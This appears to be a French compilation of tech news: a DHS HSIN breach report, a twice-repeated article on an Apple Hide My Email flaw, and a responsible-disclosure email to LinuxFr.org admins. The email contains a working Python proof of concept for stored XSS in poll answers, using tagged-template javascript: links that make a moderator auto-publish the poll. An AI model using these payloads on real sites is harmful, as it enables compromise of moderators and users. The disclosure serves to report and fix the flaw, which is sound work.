L’intrusion a été révélée pour la première fois par Nextgov/FCW le 30 juin, qui citait alors deux sources anonymes. Selon elles, les attaquants ont ciblé les serveurs de HSIN ainsi qu’un système SharePoint utilisé pour la collaboration interne, entre fin mai et début juin 2026. L’Office of Intelligence and Analysis (OIA) du DHS a mené une évaluation des dégâts.

Un porte-parole du DHS a confirmé l’incident dans une déclaration citée par Bleeping Computer. Il a indiqué que le département était conscient d’un incident cyber récent touchant un environnement de partage d’information non classifié et qualifié de « legacy » (hérité, dans le sens « ancien »). Le DHS affirme avoir immédiatement isolé les systèmes affectés, engagé une enquête forensique, et précise n’avoir aucune indication d’une quelconque compromission. La plateforme resterait opérationnelle pour les partenaires.

Non classifiées, mais « très sensibles »

On ne sait pas grand-chose de plus sur cette attaque. L’identité et l’affiliation des attaquants sont inconnues à ce stade, comme la nature exacte des données exfiltrées. On ne sait même pas s’il y a eu réellement exfiltration, ni le volume d’informations concerné. Le DHS n’a donné aucun détail supplémentaire et les journalistes (Nextgov, Bleeping Computer, TechCrunch…) n’ont pas pu établir s’il s’agit d’un acteur étatique, d’un groupe cybercriminel ou même d’un individu isolé. TechCrunch a bien demandé des précisions au DHS, mais n’a pas obtenu de réponse.

Bien que les informations circulant sur HSIN ne soient pas classifiées, elles sont qualifiées de « hautement sensibles » par le sénateur démocrate Mark Warner, vice-président de la commission sénatoriale du Renseignement.

« Les informations contenues dans le HSIN, bien que non classifiées, sont très sensibles et leur exposition met en danger la sécurité nationale. Le DHS et le DOJ [Department of Justice, ndlr] doivent enquêter de manière approfondie sur les personnes ayant compromis le HSIN, ce que les attaquants ont consulté, et s’assurer que tous les partenaires du DHS reçoivent des informations en temps voulu ainsi que les outils nécessaires pour atténuer tout risque associé à la violation », a-t-il ainsi déclaré dans un communiqué le 1^er juillet.

Une série d’incidents

TechCrunch rappelle que ce n’est pas la première fois qu’une agence fédérale déclare ce type d’incident cyber ou qu’un problème de sécurité survient depuis le retour de Donald Trump à la Maison-Blanche, en janvier 2025.

Nos confrères rappellent ainsi qu’en février 2025, des membres du DOGE (Department of Government Efficiency) ont accédé à des bases de données fédérales contenant des informations personnelles d’Américains. Un mois plus tard, c’était l’affaire des plans militaires classifiés partagés à un journaliste sur l’application Signal. En avril 2026, le FBI déclarait qu’un « incident cyber majeur » qui avait vu des numéros de téléphones de cibles sous surveillance fédérale être exposés. Le Bureau attribuait l’attaque à un acteur étatique probablement chinois. En mai, c’était au tour de la CISA, l’agence de cybersécurité du DHS, d’avoir son incident avec l’exposition publique de mots de passe et de clés d’accès cloud par un prestataire.

Pour TechCrunch, il ne fait aucun doute qu’un lien explicite existe entre ces incidents et les coupes budgétaires – et donc de personnel – touchant le DHS et la CISA sous l’actuel gouvernement. Cette série de couacs remet en question la capacité de l’État fédéral à sécuriser ses propres systèmes.

À ce jour, l’enquête continue, mais rien n’assure que le DHS communiquera si de nouveaux éléments apparaissent.

• lien nᵒ 1 : (RMLL 2009) Retour d'expérience sécurité sur 11 ans de LinuxFr.org
• lien nᵒ 2 : Les sondages sur LinuxFr.org

Bonjour,

J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.

Il est possible de bypasser la regexp dans les réponses du sondage et
injecter du javascript dans les réponses.

En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
pour que les utilisateurs le voient.

L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
automatiquement le sondage par un admin, et mettre un second javascript
dans une autre réponse destiné aux utilisateurs, une fois le sondage
validé, permettant la compromission de tous les utilisateurs qui vont
cliquer sur le sondage.

Voici le poc en python (inliné dans le mail car google fait des dingueries
avec les pièces jointes en python):

#!/usr/bin/env python3
r"""
PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org

Vecteur : href="javascript:..." active au clic
Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
  - document.querySelector`.ok_button`  au lieu de
document.querySelector('.ok_button')
  - form.submit``                      au lieu de form.submit()
  - alert`msg`                         au lieu de alert('msg')
  Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
  \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.

Contrainte : 128 caracteres max (PollAnswer)
  Phase 1 : 64 car. (form.submit pour auto-publication)
  Phase 2 : 54 car. (alert de preuve)

Deroulement :
  1. Attaquant cree un sondage avec les payloads XSS
  2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
  3. La publication se fait sans boite de confirmation
  4. Les visiteurs cliquent sur [b] -> alerte JavaScript

Usage :
  python3 poc.py <url> <user_session>

  <url>            : racine du site (ex: http://dlfp.lo)
  <user_session>   : valeur du cookie linuxfr.org_session (compte standard)

Exemple :
  python3 poc.py http://dlfp.lo "user_session_value"

Prerequis :
  pip install requests
"""

import re
import sys
from urllib.parse import urljoin, urlparse

import requests


def e(msg: str, code: int = 1) -> None:
    print(f"[-] {msg}")
    sys.exit(code)


def s(msg: str) -> None:
    print(f"[+] {msg}")


def info(msg: str) -> None:
    print(f"[*] {msg}")


def banner() -> None:
    print("=" * 68)
    print("  PoC — XSS linkify -> Auto-validation + XSS proof")
    print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
    print("  Cible : linuxfr.org")
    print("=" * 68)


def make_session(cookie_value: str, target_url: str) -> requests.Session:
    s = requests.Session()
    hostname = urlparse(target_url).hostname
    s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
    return s


def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
    """
    Cree un sondage avec les reponses malveillantes.
    """

    # Réponse 1 : 64 car. — form.submit() via tagged template
    # document.querySelector`.ok_button`   => querySelector('.ok_button')
    # form.submit``                        => form.submit()
    payload_phase1 = (
        "[a]"
        "(javascript:document.querySelector"
        "`.ok_button`.form.submit``)"
    )

    # Réponse 2 : 54 car. — alert via tagged template
    payload_phase2 = (
        "[b]"
        "(javascript:alert"
        "`smile this is your favorite XSS`)"
    )

    info("Chargement du formulaire de creation...")
    r = session.get(urljoin(url, "/sondages/nouveau"))
    csrf = re.search(
        r'name="authenticity_token" value="([^"]*)"', r.text
    )
    csrf = csrf.group(1)

    info("Creation du sondage malveillant...")
    r = session.post(urljoin(url, "/sondages"), data={
        "authenticity_token": csrf,
        "poll[title]": "PoC XSS — tagged template",
        "poll[wiki_explanations]": (
            "Cliquez sur les liens ci-dessous !"
        ),
        "poll[cc_licensed]": "1",
        "poll[answers_attributes][0][answer]": payload_phase1,
        "poll[answers_attributes][1][answer]": payload_phase2,
    })

    if r.status_code not in (200, 302):
        e(f"Creation echouee (HTTP {r.status_code})")

    print("Connectez vous en tant qu'admin et cliquez sur la réponse A")


def main():
    banner()

    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <url> <user_session>")
        print()
        print("Exemple :")
        print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    user_session_val = sys.argv[2]

    user_session = make_session(user_session_val, target_url)

    # Creation du sondage malveillant
    print()
    info("Creation du sondage avec payloads XSS")
    create_poll(target_url, user_session)


if __name__ == "__main__":
    main()

Et je joins les copies d’écran dans l’ordre :-)

C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
bien ce soir, il fait trop chaud.

Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
en le lisant, même si je ne suis qu’un simple lecteur :-)
Merci de fournir le code source sur github, ça m’a permis de debug en live
mes tests.

Bonne soirée

Commentaires : voir le flux Atom ouvrir dans le navigateur

Des pirates ont caché un cheval de Troie dans du code partagé sur GitHub pour révéler des failles de sécurité. Une technique qui vise directement les chercheurs en cybersécurité.

Cachez cet émail que je ne saurais voir

La fonction Hide My Email (masquer mon e-mail) est victime d’une faille. Signalée l’année dernière, elle permet de retrouver la véritable adresse d’un utilisateur, faisant perdre l’intérêt de cette fonction pensée pour la vie privée. En outre, un changement de domaine prévu par l’entreprise pourrait encore affaiblir son efficacité.

« Masquer mon adresse e-mail » est une fonction lancée en 2021 et proposée par Apple à toutes les personnes disposant d’un compte iCloud+. On peut l’obtenir notamment avec n’importe quel abonnement lié au stockage, même l’offre de 50 Go à 0,99 euro par mois. Elle permet, lors de l’inscription à un service, via un site ou une application, de créer automatiquement une fausse adresse, généralement composée de deux mots aléatoires et d’un chiffre, et reliée à l’adresse principale.

Cette fonction contient une faille, révèle 404 Media. Nos confrères ont échangé avec Tyler Murphy, découvreur de la vulnérabilité et cofondateur de la société EasyOptOuts, qui commercialise un service de suppression des données personnelles.

Apple prend son temps

Tyler Murphy a contacté Apple pour la première fois le 11 juin 2025, il y a donc plus d’un an. Le mois suivant, Apple a répondu qu’elle allait examiner le problème. Avance rapide jusqu’en mars 2026, quand Apple signale apparemment avoir « résolu le problème signalé dans une récente modification du système ». Le découvreur, de son côté, dit constater que la faille est toujours exploitable, ce à quoi Apple a répondu qu’elle se repenchait sur le problème.

En mai, l’entreprise a signalé être toujours en cours d’investigation et demandé à Tyler Murphy de ne divulguer aucune information publiquement, le temps que l’enquête soit terminée. Fin mai, Apple a annoncé qu’un correctif a été développé et qu’il serait appliqué « dans les prochaines semaines ». Mais le 29 juin, sans nouvelles, le découvreur finit par contacter 404 Media, qui publie son article deux jours plus tard.

Dans cette publication, le journaliste Joseph Cox indique avoir généré une nouvelle adresse masquée et l’avoir transmise à Tyler Murphy. Environ cinq minutes plus tard, ce dernier lui a communiqué son adresse e-mail réelle liée à son compte Apple. Selon Murphy, dans les tests limités menés avec des volontaires, 100 % des adresses « Masquer mon adresse e-mail » testées se sont révélées exploitables de cette manière, montrant au passage que le problème n’était toujours pas résolu, plus d’un an après son signalement.

Le découvreur souligne un risque concret lié à l’écosystème des courtiers en données : les sites de recherche de personnes, gratuits et accessibles au public, permettent facilement de relier une adresse e-mail à d’autres informations personnelles, ce qui expose les utilisateurs s’appuyant sur « Masquer mon adresse e-mail » pour leur sécurité. Ce risque touche particulièrement les personnes utilisant le service à des fins sensibles : pour échapper à un harcèlement, lancer une alerte ou encore pour de l’activisme.

404 Media, TechCrunch et d’autres acteurs de la presse en ligne ont contacté Apple pour obtenir des informations, mais l’entreprise n’a pas encore répondu.

Mauvais timing

Si la faille fait parler, c’est parce qu’Apple ne communique pas à son sujet… et aussi parce que l’entreprise prépare un changement qui pourrait affaiblir la sécurité de son service.

TechCrunch a abordé le problème dans un article le 16 juin. Nos confrères expliquent que l’efficacité de « Masquer mon adresse e-mail » tient beaucoup à l’utilisation du même domaine pour les fausses adresses que pour les vraies : elles finissent toutes par « @icloud.com ». Mais dans une note aux développeurs publiée le 15 juin, Apple indique qu’elle va unifier les domaines utilisés aussi bien pour sa fonction « Connexion avec Apple » (qui permet de créer facilement un compte chez un tiers depuis le compte Apple) que par « Masquer mon adresse e-mail » : private.icloud.com.

Et de résumer le changement, qui interviendra « plus tard » cet été :

• Les adresses utilisées par « Connexion avec Apple », jusqu’ici sur le domaine privaterelay.appleid.com, seront émises sur private.icloud.com.
• Les adresses utilisées par « Masquer mon adresse e-mail », jusqu’ici sur le domaine icloud.com, seront émises sur private.icloud.com.

Or, depuis environ deux semaines que l’information est parue, beaucoup critiquent ce changement, notamment sur Reddit. En dehors du changement lui-même qui peut révéler instantanément qu’il s’agit d’une fausse adresse, la critique qui revient le plus souvent est la capacité des entreprises à bloquer plus simplement ce type d’adresse.

« Hide My Email est efficace précisément parce que tu ne peux pas facilement filtrer les adresses qu’il génère. Je serais très surpris si on ne voit pas des services commencer à refuser de te laisser t’inscrire avec un domaine private.icloud.com. Ça sent l’industrie qui fait pression sur Apple, ce qui est hilarant puisque ça a essentiellement tué la principale métrique que les spécialistes du marketing par e-mail utilisaient pour mesurer la performance (ce qui était bien, les clics sont une bien meilleure métrique à optimiser) », juge ainsi l’utilisateur MalevolentFerret.

Problème : si Apple a communiqué sur le changement, l’entreprise n’a rien dit sur les raisons qui la poussaient à cette unification. S’il s’agit réellement d’une pression de l’industrie, il est possible qu’un nombre croissant de services finissent en effet par rejeter les créations de comptes basées sur ces fausses adresses.

Apple précise quand même dans sa note que toutes les adresses déjà en place continueront de fonctionner de la même manière. La modification ne concernera que les adresses créées après la bascule, dont la date exacte n’est pas connue.

TechCrunch rappelle en outre que si un utilisateur iCloud+ peut effectivement créer de fausses adresses, Apple garde en main les informations qui permettent de la relier au compte réel, les fausses adresses fonctionnant – dans les grandes lignes – comme un alias. L’entreprise en a donné la preuve fin mars, lorsqu’elle a remis au FBI les informations d’un utilisateur qui avait utilisé une adresse masquée pour un courrier jugé « menaçant » à la compagne de Kash Patel, directeur du FBI.

Cachez cet émail que je ne saurais voir

La fonction Hide My Email (masquer mon e-mail) est victime d’une faille. Signalée l’année dernière, elle permet de retrouver la véritable adresse d’un utilisateur, faisant perdre l’intérêt de cette fonction pensée pour la vie privée. En outre, un changement de domaine prévu par l’entreprise pourrait encore affaiblir son efficacité.

« Masquer mon adresse e-mail » est une fonction lancée en 2021 et proposée par Apple à toutes les personnes disposant d’un compte iCloud+. On peut l’obtenir notamment avec n’importe quel abonnement lié au stockage, même l’offre de 50 Go à 0,99 euro par mois. Elle permet, lors de l’inscription à un service, via un site ou une application, de créer automatiquement une fausse adresse, généralement composée de deux mots aléatoires et d’un chiffre, et reliée à l’adresse principale.

Cette fonction contient une faille, révèle 404 Media. Nos confrères ont échangé avec Tyler Murphy, découvreur de la vulnérabilité et cofondateur de la société EasyOptOuts, qui commercialise un service de suppression des données personnelles.

Apple prend son temps

Tyler Murphy a contacté Apple pour la première fois le 11 juin 2025, il y a donc plus d’un an. Le mois suivant, Apple a répondu qu’elle allait examiner le problème. Avance rapide jusqu’en mars 2026, quand Apple signale apparemment avoir « résolu le problème signalé dans une récente modification du système ». Le découvreur, de son côté, dit constater que la faille est toujours exploitable, ce à quoi Apple a répondu qu’elle se repenchait sur le problème.

En mai, l’entreprise a signalé être toujours en cours d’investigation et demandé à Tyler Murphy de ne divulguer aucune information publiquement, le temps que l’enquête soit terminée. Fin mai, Apple a annoncé qu’un correctif a été développé et qu’il serait appliqué « dans les prochaines semaines ». Mais le 29 juin, sans nouvelles, le découvreur finit par contacter 404 Media, qui publie son article deux jours plus tard.

Dans cette publication, le journaliste Joseph Cox indique avoir généré une nouvelle adresse masquée et l’avoir transmise à Tyler Murphy. Environ cinq minutes plus tard, ce dernier lui a communiqué son adresse e-mail réelle liée à son compte Apple. Selon Murphy, dans les tests limités menés avec des volontaires, 100 % des adresses « Masquer mon adresse e-mail » testées se sont révélées exploitables de cette manière, montrant au passage que le problème n’était toujours pas résolu, plus d’un an après son signalement.

Le découvreur souligne un risque concret lié à l’écosystème des courtiers en données : les sites de recherche de personnes, gratuits et accessibles au public, permettent facilement de relier une adresse e-mail à d’autres informations personnelles, ce qui expose les utilisateurs s’appuyant sur « Masquer mon adresse e-mail » pour leur sécurité. Ce risque touche particulièrement les personnes utilisant le service à des fins sensibles : pour échapper à un harcèlement, lancer une alerte ou encore pour de l’activisme.

404 Media, TechCrunch et d’autres acteurs de la presse en ligne ont contacté Apple pour obtenir des informations, mais l’entreprise n’a pas encore répondu.

Mauvais timing

Si la faille fait parler, c’est parce qu’Apple ne communique pas à son sujet… et aussi parce que l’entreprise prépare un changement qui pourrait affaiblir la sécurité de son service.

TechCrunch a abordé le problème dans un article le 16 juin. Nos confrères expliquent que l’efficacité de « Masquer mon adresse e-mail » tient beaucoup à l’utilisation du même domaine pour les fausses adresses que pour les vraies : elles finissent toutes par « @icloud.com ». Mais dans une note aux développeurs publiée le 15 juin, Apple indique qu’elle va unifier les domaines utilisés aussi bien pour sa fonction « Connexion avec Apple » (qui permet de créer facilement un compte chez un tiers depuis le compte Apple) que par « Masquer mon adresse e-mail » : private.icloud.com.

Et de résumer le changement, qui interviendra « plus tard » cet été :

• Les adresses utilisées par « Connexion avec Apple », jusqu’ici sur le domaine privaterelay.appleid.com, seront émises sur private.icloud.com.
• Les adresses utilisées par « Masquer mon adresse e-mail », jusqu’ici sur le domaine icloud.com, seront émises sur private.icloud.com.

Or, depuis environ deux semaines que l’information est parue, beaucoup critiquent ce changement, notamment sur Reddit. En dehors du changement lui-même qui peut révéler instantanément qu’il s’agit d’une fausse adresse, la critique qui revient le plus souvent est la capacité des entreprises à bloquer plus simplement ce type d’adresse.

« Hide My Email est efficace précisément parce que tu ne peux pas facilement filtrer les adresses qu’il génère. Je serais très surpris si on ne voit pas des services commencer à refuser de te laisser t’inscrire avec un domaine private.icloud.com. Ça sent l’industrie qui fait pression sur Apple, ce qui est hilarant puisque ça a essentiellement tué la principale métrique que les spécialistes du marketing par e-mail utilisaient pour mesurer la performance (ce qui était bien, les clics sont une bien meilleure métrique à optimiser) », juge ainsi l’utilisateur MalevolentFerret.

Problème : si Apple a communiqué sur le changement, l’entreprise n’a rien dit sur les raisons qui la poussaient à cette unification. S’il s’agit réellement d’une pression de l’industrie, il est possible qu’un nombre croissant de services finissent en effet par rejeter les créations de comptes basées sur ces fausses adresses.

Apple précise quand même dans sa note que toutes les adresses déjà en place continueront de fonctionner de la même manière. La modification ne concernera que les adresses créées après la bascule, dont la date exacte n’est pas connue.

TechCrunch rappelle en outre que si un utilisateur iCloud+ peut effectivement créer de fausses adresses, Apple garde en main les informations qui permettent de la relier au compte réel, les fausses adresses fonctionnant – dans les grandes lignes – comme un alias. L’entreprise en a donné la preuve fin mars, lorsqu’elle a remis au FBI les informations d’un utilisateur qui avait utilisé une adresse masquée pour un courrier jugé « menaçant » à la compagne de Kash Patel, directeur du FBI.

WhatsApp permet désormais de discuter sur la messagerie sans dévoiler son numéro de téléphone. Un vrai progrès pour la confidentialité, mais qui déplace la question ailleurs : celle de la confiance que l'on accorde à un pseudo.

Deux chercheurs allemands ont mis au jour six vulnérabilités dans les fonctionnalités de partage sans fil d'Apple et de Google/Samsung. De quoi faire planter des appareils à proximité, sans aucune interaction de la victime.